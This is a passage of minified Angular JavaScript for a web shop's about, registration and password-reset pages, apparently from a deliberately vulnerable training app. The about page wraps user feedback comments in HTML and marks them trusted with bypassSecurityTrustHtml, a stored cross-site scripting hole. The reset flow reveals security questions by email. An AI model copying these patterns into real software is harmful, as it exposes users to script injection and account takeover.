fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i>\']}ngOnInit(){this.populateSlideshowFromFeedbacks(),this.configurationService.getApplicationConfiguration().subscribe(e=>{e?.application?.social&&(e.application.social.twitterUrl&&(this.twitterUrl=e.application.social.twitterUrl),e.application.social.facebookUrl&&(this.facebookUrl=e.application.social.facebookUrl),e.application.social.slackUrl&&(this.slackUrl=e.application.social.slackUrl),e.application.social.redditUrl&&(this.redditUrl=e.application.social.redditUrl),e.application.social.pressKitUrl&&(this.pressKitUrl=e.application.social.pressKitUrl),e.application.social.nftUrl&&(this.nftUrl=e.application.social.nftUrl))},e=>{console.log(e)})}populateSlideshowFromFeedbacks(){this.feedbackService.find().subscribe(e=>{for(let o=0;o<e.length;o++)e[o].comment=`<span style="width: 90%; display:block;">${e[o].comment}<br/> (${this.stars[e[o].rating]})</span>`,e[o].comment=this.sanitizer.bypassSecurityTrustHtml(e[o].comment),this.slideshowDataSource.push({url:this.images[o%this.images.length],caption:e[o].comment})},e=>{console.log(e)})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(b.e),t.Y36(Lt),t.Y36(k.H7))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-about"]],decls:17,vars:7,consts:[["fxLayoutAlign","center"],[1,"mat-elevation-z6"],[1,"about-us"],["translate",""],[1,"text-justify"],["href","ftp/legal.md","aria-label","Link to the Terms of Use","translate",""],[3,"height","autoPlay","arrowSize","showArrows","showDots","imageUrls"],["class","social",4,"ngIf"],[1,"social"],["target","_blank","rel","noopener noreferrer","style","margin-left: 0px;","aria-label","Button for the Twitter page of the shop",3,"href",4,"ngIf"],["target","_blank","rel","noopener noreferrer","aria-label","Button for the Facebook page of the shop",3,"href",4,"ngIf"],["target","_blank","rel","noopener noreferrer","aria-label","Button for the Slack page of the shop",3,"href",4,"ngIf"],["target","_blank","rel","noopener noreferrer","aria-label","Button for the Reddit page of the shop",3,"href",4,"ngIf"],["target","_blank","rel","noopener noreferrer","aria-label","Button for the PressKit page of the shop",3,"href",4,"ngIf"],["target","_blank","rel","noopener noreferrer","aria-label","Button for the NFT of the shop",3,"href",4,"ngIf"],["target","_blank","rel","noopener noreferrer","aria-label","Button for the Twitter page of the shop",2,"margin-left","0px",3,"href"],["mat-raised-button","","color","accent"],[1,"fab","fa-twitter","fa-lg"],["target","_blank","rel","noopener noreferrer","aria-label","Button for the Facebook page of the shop",3,"href"],[1,"fab","fa-facebook","fa-lg"],["target","_blank","rel","noopener noreferrer","aria-label","Button for the Slack page of the shop",3,"href"],[1,"fab","fa-slack","fa-lg"],["target","_blank","rel","noopener noreferrer","aria-label","Button for the Reddit page of the shop",3,"href"],[1,"fab","fa-reddit","fa-lg"],["target","_blank","rel","noopener noreferrer","aria-label","Button for the PressKit page of the shop",3,"href"],[1,"far","fa-newspaper","fa-lg"],["target","_blank","rel","noopener noreferrer","aria-label","Button for the NFT of the shop",3,"href"],[1,"fas","fa-palette","fa-lg"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"section",2)(3,"h1",3),t._uU(4,"TITLE_ABOUT"),t.qZA(),t.TgZ(5,"h3",3),t._uU(6,"SECTION_CORPORATE_HISTORY"),t.qZA(),t.TgZ(7,"p",4),t._uU(8," Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. "),t.TgZ(9,"a",5),t._uU(10,"LINK_TERMS_OF_USE"),t.qZA(),t._uU(11," At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, At accusam aliquyam diam diam dolore dolores duo eirmod eos erat, et nonumy sed tempor et et invidunt justo labore Stet clita ea et gubergren, kasd magna no rebum. "),t.qZA(),t.TgZ(12,"h3")(13,"span",3),t._uU(14,"SECTION_CUSTOMER_FEEDBACK"),t.qZA()(),t._UZ(15,"slideshow",6),t.YNc(16,jn,10,6,"div",7),t.qZA()()()),2&e&&(t.xp6(15),t.Q6J("height","300px")("autoPlay",!0)("arrowSize","10px")("showArrows",!0)("showDots",!1)("imageUrls",o.slideshowDataSource),t.xp6(1),t.Q6J("ngIf",o.twitterUrl||o.facebookUrl))},dependencies:[h.O5,u.Pi,p.Wh,xe.w5,x.lW,T.a8],styles:["mat-card[_ngcontent-%COMP%]{display:block;margin-bottom:30px;margin-left:auto;margin-right:auto;width:80%}.about-us[_ngcontent-%COMP%]{margin-left:8.33333%;margin-right:8.33333%;width:83.3333%}.social[_ngcontent-%COMP%]{margin-top:20px}button[_ngcontent-%COMP%]{margin:5px}.text-justify[_ngcontent-%COMP%]{text-align:justify;text-justify:inter-word}"]}),n})(),be=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/api/SecurityAnswers"}save(e){return this.http.post(this.host+"/",e).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})(),Ht=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/api/SecurityQuestions"}find(e){return this.http.get(this.host+"/",{params:e}).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}findBy(e){return this.http.get(this.hostServer+"/rest/user/security-question?email="+e).pipe((0,C.U)(o=>o.question),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var ut=c(7009),Ct=c(9187),vt=c(4385),Gt=c(3238),jt=c(455);function Wn(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"MANDATORY_EMAIL"),t.qZA())}function zn(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"INVALID_EMAIL"),t.qZA())}function $n(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"MANDATORY_PASSWORD "),t.qZA())}const Te=function(){return{length:"5-40"}};function Vn(n,a){1&n&&(t.TgZ(0,"mat-error",30),t._uU(1,"INVALID_PASSWORD_LENGTH "),t.qZA()),2&n&&t.Q6J("translateParams",t.DdM(1,Te))}function Xn(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," MANDATORY_PASSWORD_REPEAT "),t.qZA())}function to(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," PASSWORDS_NOT_MATCHING "),t.qZA())}const eo=function(){return{value:8}};function no(n,a){if(1&n&&(t._UZ(0,"mat-password-strength-info",31),t.ALo(1,"translate"),t.ALo(2,"translate"),t.ALo(3,"translate"),t.ALo(4,"translate"),t.ALo(5,"translate")),2&n){t.oxw();const e=t.MAs(41);t.Q6J("passwordComponent",e)("lowerCaseCriteriaMsg",t.lcZ(1,6,"LOWER_CASE_CRITERIA_MSG"))("upperCaseCriteriaMsg",t.lcZ(2,8,"UPPER_CASE_CRITERIA_MSG"))("digitsCriteriaMsg",t.lcZ(3,10,"DIGITS_CRITERIA_MSG"))("specialCharsCriteriaMsg",t.lcZ(4,12,"SPECIAL_CHARS_CRITERIA_MSG"))("minCharsCriteriaMsg",t.xi3(5,14,"MIN_CHARS_CRITERIA_MSG",t.DdM(17,eo)))}}function oo(n,a){if(1&n&&(t.TgZ(0,"mat-option",32),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.Q6J("value",e.id),t.xp6(1),t.hij(" ",e.question," ")}}function ao(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," MANDATORY_SECURITY_QUESTION "),t.qZA())}function io(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," MANDATORY_SECURITY_ANSWER "),t.qZA())}O.vI.add(g.FKd,g.RLE);let ro=(()=>{class n{constructor(e,o,i,r,l,m,v,A,q){this.securityQuestionService=e,this.userService=o,this.securityAnswerService=i,this.router=r,this.formSubmitService=l,this.translateService=m,this.snackBar=v,this.snackBarHelperService=A,this.ngZone=q,this.emailControl=new s.p4("",[s.kI.required,s.kI.email]),this.passwordControl=new s.p4("",[s.kI.required,s.kI.minLength(5),s.kI.maxLength(40)]),this.repeatPasswordControl=new s.p4("",[s.kI.required,so(this.passwordControl)]),this.securityQuestionControl=new s.p4("",[s.kI.required]),this.securityAnswerControl=new s.p4("",[s.kI.required]),this.error=null}ngOnInit(){this.securityQuestionService.find(null).subscribe(e=>{this.securityQuestions=e},e=>{console.log(e)}),this.formSubmitService.attachEnterKeyHandler("registration-form","registerButton",()=>{this.save()})}save(){var e=this;const o={email:this.emailControl.value,password:this.passwordControl.value,passwordRepeat:this.repeatPasswordControl.value,securityQuestion:this.securityQuestions.find(i=>i.id===this.securityQuestionControl.value),securityAnswer:this.securityAnswerControl.value};this.userService.save(o).subscribe(i=>{this.securityAnswerService.save({UserId:i.id,answer:this.securityAnswerControl.value,SecurityQuestionId:this.securityQuestionControl.value}).subscribe(()=>{this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/login"])})),this.snackBarHelperService.open("CONFIRM_REGISTER")})},i=>{if(console.log(i),i.error?.errors){const r=i.error.errors[0];this.error=r.message?r.message[0].toUpperCase()+r.message.slice(1):r}})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(Ht),t.Y36(R),t.Y36(be),t.Y36(U.F0),t.Y36(rt),t.Y36(u.sK),t.Y36(ut.ux),t.Y36(J.H),t.Y36(t.R0b))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-register"]],decls:69,vars:39,consts:[["fxLayoutAlign","center"],[1,"mat-elevation-z6"],["translate",""],["ng-if","error",1,"error"],["id","registration-form",1,"form-container"],["appearance","outline","color","accent"],["id","emailControl","type","text","matInput","","aria-label","Email address field",3,"formControl","focus"],["translate","",4,"ngIf"],["id","passwordControl","type","password","matInput","","aria-label","Field for the password",3,"formControl","focus"],["password",""],[1,"fas","fa-exclamation-circle"],["translate","",2,"margin-left","5px"],["align","end"],["translate","",3,"translateParams",4,"ngIf"],["id","repeatPasswordControl","type","password","matInput","","aria-label","Field to confirm the password",3,"formControl","focus"],["repeatPassword",""],[3,"color"],["passwordInfoToggle",""],[3,"password"],["passwordStrength",""],[3,"passwordComponent","lowerCaseCriteriaMsg","upperCaseCriteriaMsg","digitsCriteriaMsg","specialCharsCriteriaMsg","minCharsCriteriaMsg",4,"ngIf"],[1,"security-container"],["color","accent","appearance","outline"],["placeholder","","name","securityQuestion","aria-label","Selection list for the security question",3,"formControl","value","valueChange","focus"],[3,"value",4,"ngFor","ngForOf"],["id","securityAnswerControl","type","text","matInput","","aria-label","Field for the answer to the security question",3,"formControl","placeholder","focus"],["type","submit","id","registerButton","mat-raised-button","","color","primary","aria-label","Button to complete the registration",3,"disabled","click"],[1,"material-icons"],["id","alreadyACustomerLink"],["routerLink","/login","translate","",1,"primary-link"],["translate","",3,"translateParams"],[3,"passwordComponent","lowerCaseCriteriaMsg","upperCaseCriteriaMsg","digitsCriteriaMsg","specialCharsCriteriaMsg","minCharsCriteriaMsg"],[3,"value"]],template:function(e,o){if(1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"h1",2),t._uU(3,"TITLE_REGISTRATION"),t.qZA(),t.TgZ(4,"div",3),t._uU(5),t.qZA(),t.TgZ(6,"div",4)(7,"mat-form-field",5)(8,"mat-label",2),t._uU(9,"LABEL_EMAIL"),t.qZA(),t.TgZ(10,"input",6),t.NdJ("focus",function(){return o.error=null}),t.qZA(),t.YNc(11,Wn,2,0,"mat-error",7),t.YNc(12,zn,2,0,"mat-error",7),t.qZA(),t.TgZ(13,"mat-form-field",5)(14,"mat-label",2),t._uU(15,"LABEL_PASSWORD"),t.qZA(),t.TgZ(16,"input",8,9),t.NdJ("focus",function(){return o.error=null}),t.qZA(),t.TgZ(18,"mat-hint",2),t._UZ(19,"i",10),t.TgZ(20,"em",11),t._uU(21),t.ALo(22,"translate"),t.qZA()(),t.TgZ(23,"mat-hint",12),t._uU(24),t.qZA(),t.YNc(25,$n,2,0,"mat-error",7),t.YNc(26,Vn,2,2,"mat-error",13),t.qZA(),t.TgZ(27,"mat-form-field",5)(28,"mat-label",2),t._uU(29,"LABEL_PASSWORD_REPEAT"),t.qZA(),t.TgZ(30,"input",14,15),t.NdJ("focus",function(){return o.error=null}),t.qZA(),t.TgZ(32,"mat-hint",12),t._uU(33),t.qZA(),t.YNc(34,Xn,2,0,"mat-error",7),t.YNc(35,to,2,0,"mat-error",7),t.qZA(),t.TgZ(36,"mat-slide-toggle",16,17),t._uU(38),t.ALo(39,"translate"),t.qZA(),t._UZ(40,"mat-password-strength",18,19),t.YNc(42,no,6,18,"mat-password-strength-info",20),t.TgZ(43,"div",21)(44,"mat-form-field",22)(45,"mat-label"),t._uU(46),t.ALo(47,"translate"),t.qZA(),t.TgZ(48,"mat-select",23),t.NdJ("valueChange",function(r){return o.selected=r})("focus",function(){return o.error=null}),t.YNc(49,oo,2,2,"mat-option",24),t.qZA(),t.TgZ(50,"mat-hint",2),t._UZ(51,"i",10),t.TgZ(52,"em",11),t._uU(53,"CANNOT_BE_CHANGED_LATER"),t.qZA()(),t.YNc(54,ao,2,0,"mat-error",7),t.qZA(),t.TgZ(55,"mat-form-field",5)(56,"mat-label",2),t._uU(57,"SECURITY_ANSWER"),t.qZA(),t.TgZ(58,"input",25),t.NdJ("focus",function(){return o.error=null}),t.ALo(59,"translate"),t.qZA(),t.YNc(60,io,2,0,"mat-error",7),t.qZA()(),t.TgZ(61,"button",26),t.NdJ("click",function(){return o.save()}),t.TgZ(62,"i",27),t._uU(63," person_add "),t.qZA(),t._uU(64),t.ALo(65,"translate"),t.qZA(),t.TgZ(66,"div",28)(67,"a",29),t._uU(68,"ALREADY_A_CUSTOMER"),t.qZA()()()()()),2&e){const i=t.MAs(17),r=t.MAs(31),l=t.MAs(37),m=t.MAs(41);t.xp6(5),t.Oqu(o.error),t.xp6(5),t.Q6J("formControl",o.emailControl),t.xp6(1),t.Q6J("ngIf",o.emailControl.invalid&&o.emailControl.errors.required),t.xp6(1),t.Q6J("ngIf",o.emailControl.invalid&&o.emailControl.errors.email),t.xp6(4),t.Q6J("formControl",o.passwordControl),t.xp6(5),t.Oqu(t.xi3(22,27,"INVALID_PASSWORD_LENGTH",t.DdM(38,Te))),t.xp6(3),t.hij("",(null==i.value?null:i.value.length)||0,"/20"),t.xp6(1),t.Q6J("ngIf",o.passwordControl.invalid&&o.passwordControl.errors.required),t.xp6(1),t.Q6J("ngIf",o.passwordControl.invalid&&(o.passwordControl.errors.minlength||o.passwordControl.errors.maxlength)),t.xp6(4),t.Q6J("formControl",o.repeatPasswordControl),t.xp6(3),t.hij("",(null==r.value?null:r.value.length)||0,"/40"),t.xp6(1),t.Q6J("ngIf",o.repeatPasswordControl.invalid&&o.repeatPasswordControl.errors.required),t.xp6(1),t.Q6J("ngIf",o.repeatPasswordControl.invalid&&o.repeatPasswordControl.errors.notSame),t.xp6(1),t.Q6J("color",m.color),t.xp6(2),t.Oqu(t.lcZ(39,30,"SHOW_PASSWORD_ADVICE")),t.xp6(2),t.Q6J("password",i.value),t.xp6(2),t.Q6J("ngIf",l.checked),t.xp6(4),t.hij(" ",t.lcZ(47,32,"LABEL_SECURITY_QUESTION")," "),t.xp6(2),t.Q6J("formControl",o.securityQuestionControl)("value",o.selected),t.xp6(1),t.Q6J("ngForOf",o.securityQuestions),t.xp6(5),t.Q6J("ngIf",o.securityQuestionControl.invalid&&o.securityQuestionControl.errors.required),t.xp6(4),t.Q6J("formControl",o.securityAnswerControl)("placeholder",t.lcZ(59,34,"SECURITY_ANSWER_PLACEHOLDER")),t.xp6(2),t.Q6J("ngIf",o.securityAnswerControl.invalid&&o.securityAnswerControl.errors.required),t.xp6(1),t.Q6J("disabled",o.emailControl.invalid||o.passwordControl.invalid||o.repeatPasswordControl.invalid||o.securityQuestionControl.invalid||o.securityAnswerControl.invalid),t.xp6(3),t.hij(" ",t.lcZ(65,36,"BTN_REGISTER")," ")}},dependencies:[h.sg,h.O5,U.rH,u.Pi,Ct.ne,Ct.Xy,p.Wh,s.Fj,s.JJ,s.oH,f.TO,f.KE,f.bx,f.hX,vt.gD,Gt.ey,x.lW,T.a8,B.Nt,jt.Rr,u.X$],styles:["mat-card[_ngcontent-%COMP%]{height:auto;min-width:320px;width:25%}mat-form-field[_ngcontent-%COMP%]{padding-top:10px}.form-container[_ngcontent-%COMP%]{display:flex;flex-direction:column;position:relative}#registerButton[_ngcontent-%COMP%]{margin-left:20%;margin-top:30px;width:60%}#alreadyACustomerLink[_ngcontent-%COMP%]{align-self:center;font-size:12px;margin-top:40px}.security-container[_ngcontent-%COMP%]{display:flex;flex-direction:column;position:relative} mat-option .mat-option-text{font-size:14px}"]}),n})();function so(n){return function(e){return n.value!==e.value?{notSame:!0}:null}}var F=c(7392),Q=c(266);function lo(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"MANDATORY_EMAIL"),t.qZA())}function co(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"INVALID_EMAIL"),t.qZA())}function uo(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," MANDATORY_SECURITY_ANSWER "),t.qZA())}function po(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"MANDATORY_NEW_PASSWORD "),t.qZA())}function mo(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," MANDATORY_PASSWORD_REPEAT "),t.qZA())}function go(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," PASSWORDS_NOT_MATCHING "),t.qZA())}const Ae=function(){return{length:"5-40"}};function ho(n,a){1&n&&(t.TgZ(0,"mat-error",28),t._uU(1,"INVALID_PASSWORD_LENGTH "),t.qZA()),2&n&&t.Q6J("translateParams",t.DdM(1,Ae))}const _o=function(){return{value:8}};function fo(n,a){if(1&n&&(t._UZ(0,"mat-password-strength-info",29),t.ALo(1,"translate"),t.ALo(2,"translate"),t.ALo(3,"translate"),t.ALo(4,"translate"),t.ALo(5,"translate")),2&n){t.oxw();const e=t.MAs(55);t.Q6J("passwordComponent",e)("lowerCaseCriteriaMsg",t.lcZ(1,6,"LOWER_CASE_CRITERIA_MSG"))("upperCaseCriteriaMsg",t.lcZ(2,8,"UPPER_CASE_CRITERIA_MSG"))("digitsCriteriaMsg",t.lcZ(3,10,"DIGITS_CRITERIA_MSG"))("specialCharsCriteriaMsg",t.lcZ(4,12,"SPECIAL_CHARS_CRITERIA_MSG"))("minCharsCriteriaMsg",t.xi3(5,14,"MIN_CHARS_CRITERIA_MSG",t.DdM(17,_o)))}}O.vI.add(g.r6l,D.Xc);let Co=(()=>{class n{constructor(e,o,i){this.securityQuestionService=e,this.userService=o,this.translate=i,this.emailControl=new s.p4("",[s.kI.required,s.kI.email]),this.securityQuestionControl=new s.p4({disabled:!0,value:""},[s.kI.required]),this.passwordControl=new s.p4({disabled:!0,value:""},[s.kI.required,s.kI.minLength(5)]),this.repeatPasswordControl=new s.p4({disabled:!0,value:""},[s.kI.required,vo(this.passwordControl)]),this.timeoutDuration=1e3}findSecurityQuestion(){clearTimeout(this.timeout),this.timeout=setTimeout(()=>{this.securityQuestion=void 0,this.emailControl.value?this.securityQuestionService.findBy(this.emailControl.value).subscribe(e=>{e?(this.securityQuestion=e.question,this.securityQuestionControl.enable(),this.passwordControl.enable(),this.repeatPasswordControl.enable()):(this.securityQuestionControl.disable(),this.passwordControl.disable(),this.repeatPasswordControl.disable())},e=>e):(this.securityQuestionControl.disable(),this.passwordControl.disable(),this.repeatPasswordControl.disable())},this.timeoutDuration)}resetPassword(){this.userService.resetPassword({email:this.emailControl.value,answer:this.securityQuestionControl.value,new:this.passwordControl.value,repeat:this.repeatPasswordControl.value}).subscribe(()=>{this.error=void 0,this.translate.get("PASSWORD_SUCCESSFULLY_CHANGED").subscribe(e=>{this.confirmation=e},e=>{this.confirmation=e}),this.resetForm()},e=>{this.error=e.error,this.confirmation=void 0,this.resetErrorForm()})}resetForm(){this.emailControl.setValue(""),this.emailControl.markAsPristine(),this.emailControl.markAsUntouched(),this.securityQuestionControl.setValue(""),this.securityQuestionControl.markAsPristine(),this.securityQuestionControl.markAsUntouched(),this.passwordControl.setValue(""),this.passwordControl.markAsPristine(),this.passwordControl.markAsUntouched(),this.repeatPasswordControl.setValue(""),this.repeatPasswordControl.markAsPristine(),this.repeatPasswordControl.markAsUntouched()}resetErrorForm(){this.emailControl.markAsPristine(),this.emailControl.markAsUntouched(),this.securityQuestionControl.setValue(""),this.securityQuestionControl.markAsPristine(),this.securityQuestionControl.markAsUntouched(),this.passwordControl.setValue(""),this.passwordControl.markAsPristine(),this.passwordControl.markAsUntouched(),this.repeatPasswordControl.setValue(""),this.repeatPasswordControl.markAsPristine(),this.repeatPasswordControl.markAsUntouched()}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(Ht),t.Y36(R),t.Y36(u.sK))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-forgot-password"]],decls:61,vars:39,consts:[["fxLayoutAlign","center"],[1,"mat-elevation-z6"],["translate",""],[1,"confirmation",3,"hidden"],[1,"error",3,"hidden"],[1,"form-container"],["appearance","outline","color","accent"],["id","email","type","email","matInput","","placeholder","Enter your email","aria-label","Email address field",3,"formControl","ngModelChange"],["matSuffix","","matTooltipPosition","right","aria-label","Please enter your email address to proceed",3,"matTooltip"],["translate","",4,"ngIf"],["id","forgot-form",1,"form-container"],["id","securityAnswer","type","password","matInput","","aria-label","Field for the answer to the security question",3,"formControl","placeholder"],["matSuffix","","matTooltipPosition","right","aria-label","Please answer your selected security question",3,"matTooltip"],["id","newPassword","type","password","matInput","","placeholder","","aria-label","Field for New Password",3,"formControl"],["password",""],[1,"fas","fa-exclamation-circle"],["translate","",2,"margin-left","5px"],["align","end"],["id","newPasswordRepeat","type","password","matInput","","placeholder","","aria-label","Field to confirm the new password",3,"formControl"],["repeatPassword",""],["translate","",3,"translateParams",4,"ngIf"],[3,"color"],["passwordInfoToggle",""],[3,"password"],["passwordStrength",""],[3,"passwordComponent","lowerCaseCriteriaMsg","upperCaseCriteriaMsg","digitsCriteriaMsg","specialCharsCriteriaMsg","minCharsCriteriaMsg",4,"ngIf"],["type","submit","id","resetButton","mat-raised-button","","color","primary","aria-label","Button to confirm the changes",3,"disabled","click"],["aria-hidden","true",1,"far","fa-edit","fa-lg"],["translate","",3,"translateParams"],[3,"passwordComponent","lowerCaseCriteriaMsg","upperCaseCriteriaMsg","digitsCriteriaMsg","specialCharsCriteriaMsg","minCharsCriteriaMsg"]],template:function(e,o){if(1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"h1",2),t._uU(3,"TITLE_FORGOT_PASSWORD"),t.qZA(),t.TgZ(4,"div",3),t._uU(5),t.qZA(),t.TgZ(6,"div",4),t._uU(7),t.qZA(),t.TgZ(8,"div",5)(9,"mat-form-field",6)(10,"mat-label",2),t._uU(11,"LABEL_EMAIL"),t.qZA(),t.TgZ(12,"input",7),t.NdJ("ngModelChange",function(){return o.findSecurityQuestion()}),t.qZA(),t.TgZ(13,"mat-icon",8),t.ALo(14,"translate"),t._uU(15,"help_outline "),t.qZA(),t.YNc(16,lo,2,0,"mat-error",9),t.YNc(17,co,2,0,"mat-error",9),t.qZA()(),t.TgZ(18,"div",10)(19,"mat-form-field",6)(20,"mat-label",2),t._uU(21,"LABEL_SECURITY_QUESTION"),t.qZA(),t._UZ(22,"input",11),t.TgZ(23,"mat-icon",12),t.ALo(24,"translate"),t._uU(25,"help_outline "),t.qZA(),t.YNc(26,uo,2,0,"mat-error",9),t.qZA(),t.TgZ(27,"mat-form-field",6)(28,"mat-label",2),t._uU(29,"LABEL_NEW_PASSWORD"),t.qZA(),t._UZ(30,"input",13,14),t.TgZ(32,"mat-hint",2),t._UZ(33,"i",15),t.TgZ(34,"em",16),t._uU(35),t.ALo(36,"translate"),t.qZA()(),t.TgZ(37,"mat-hint",17),t._uU(38),t.qZA(),t.YNc(39,po,2,0,"mat-error",9),t.qZA(),t.TgZ(40,"mat-form-field",6)(41,"mat-label",2),t._uU(42,"LABEL_REPEAT_NEW_PASSWORD"),t.qZA(),t._UZ(43,"input",18,19),t.TgZ(45,"mat-hint",17),t._uU(46),t.qZA(),t.YNc(47,mo,2,0,"mat-error",9),t.YNc(48,go,2,0,"mat-error",9),t.YNc(49,ho,2,2,"mat-error",20),t.qZA(),t.TgZ(50,"mat-slide-toggle",21,22),t._uU(52),t.ALo(53,"translate"),t.qZA(),t._UZ(54,"mat-password-strength",23,24),t.YNc(56,fo,6,18,"mat-password-strength-info",25),t.qZA(),t.TgZ(57,"button",26),t.NdJ("click",function(){return o.resetPassword()}),t._UZ(58,"i",27),t._uU(59),t.ALo(60,"translate"),t.qZA()()()),2&e){const i=t.MAs(31),r=t.MAs(44),l=t.MAs(51),m=t.MAs(55);t.xp6(4),t.Q6J("hidden",!(o.confirmation&&!o.emailControl.dirty&&!o.securityQuestionControl.dirty&&!o.passwordControl.dirty&&!o.repeatPasswordControl.dirty)),t.xp6(1),t.hij(" ",o.confirmation," "),t.xp6(1),t.Q6J("hidden",!(o.error&&!o.emailControl.dirty&&!o.securityQuestionControl.dirty&&!o.passwordControl.dirty&&!o.repeatPasswordControl.dirty)),t.xp6(1),t.hij(" ",o.error," "),t.xp6(5),t.Q6J("formControl",o.emailControl),t.xp6(1),t.s9C("matTooltip",t.lcZ(14,27,"MANDATORY_EMAIL")),t.xp6(3),t.Q6J("ngIf",o.emailControl.invalid&&o.emailControl.errors.required),t.xp6(1),t.Q6J("ngIf",o.emailControl.invalid&&o.emailControl.errors.email),t.xp6(5),t.s9C("placeholder",o.securityQuestion),t.Q6J("formControl",o.securityQuestionControl),t.xp6(1),t.s9C("matTooltip",t.lcZ(24,29,"MANDATORY_SECURITY_ANSWER")),t.xp6(3),t.Q6J("ngIf",o.securityQuestionControl.invalid&&o.securityQuestionControl.errors.required),t.xp6(4),t.Q6J("formControl",o.passwordControl),t.xp6(5),t.Oqu(t.xi3(36,31,"INVALID_PASSWORD_LENGTH",t.DdM(38,Ae))),t.xp6(3),t.hij("",(null==i.value?null:i.value.length)||0,"/20"),t.xp6(1),t.Q6J("ngIf",o.passwordControl.invalid&&o.passwordControl.errors.required),t.xp6(4),t.Q6J("formControl",o.repeatPasswordControl),t.xp6(3),t.hij("",(null==r.value?null:r.value.length)||0,"/20"),t.xp6(1),t.Q6J("ngIf",o.repeatPasswordControl.invalid&&o.repeatPasswordControl.errors.required),t.xp6(1),t.Q6J("ngIf",o.repeatPasswordControl.invalid&&o.repeatPasswordControl.errors.notSame),t.xp6(1),t.Q6J("ngIf",o.repeatPasswordControl.invalid&&((null==o.repeatPasswordControl?null:o.repeatPasswordControl.errors.minlength)||(null==o.repeatPasswordControl?null:o.repeatPasswordControl.errors.maxlength))),t.xp6(1),t.Q6J("color",m.color),t.xp6(2),t.Oqu(t.lcZ(53,34,"SHOW_PASSWORD_ADVICE")),t.xp6(2),t.Q6J("password",i.value),t.xp6(2),t.Q6J("ngIf",l.checked),t.xp6(1),t.Q6J("disabled",o.emailControl.invalid||o.securityQuestionControl.invalid||o.passwordControl.invalid||o.repeatPasswordControl.invalid||o.repeatPasswordControl.disabled),t.xp6(2),t.hij(" ",t.lcZ(60,36,"BTN_CHANGE")," ")}},dependencies:[h.O5,u.Pi,Ct.ne,Ct.Xy,p.Wh,s.Fj,s.JJ,s.oH,F.Hw,f.TO,f.KE,f.bx,f.hX,f.R9,x.lW,T.a8,B.Nt,Q.gM,jt.Rr,u.X$],styles:["mat-card[_ngcontent-%COMP%]{height:auto;min-width:320px;width:25%}mat-form-field[_ngcontent-%COMP%]{padding-top:10px}.form-container[_ngcontent-%COMP%]{display:flex;flex-direction:column;position:relative}button[_ngcontent-%COMP%]{display:block;margin-left:auto;margin-right:auto;margin-top:30px;width:60%}"]}),n})();function vo(n){return function(e){return n.value!==e.value?{notSame:!0}:null}}var N=c(5412);let Kt=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/rest/products"}get(e){return this.http.get(`${this.host}/${e}/reviews`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}create(e,o){return 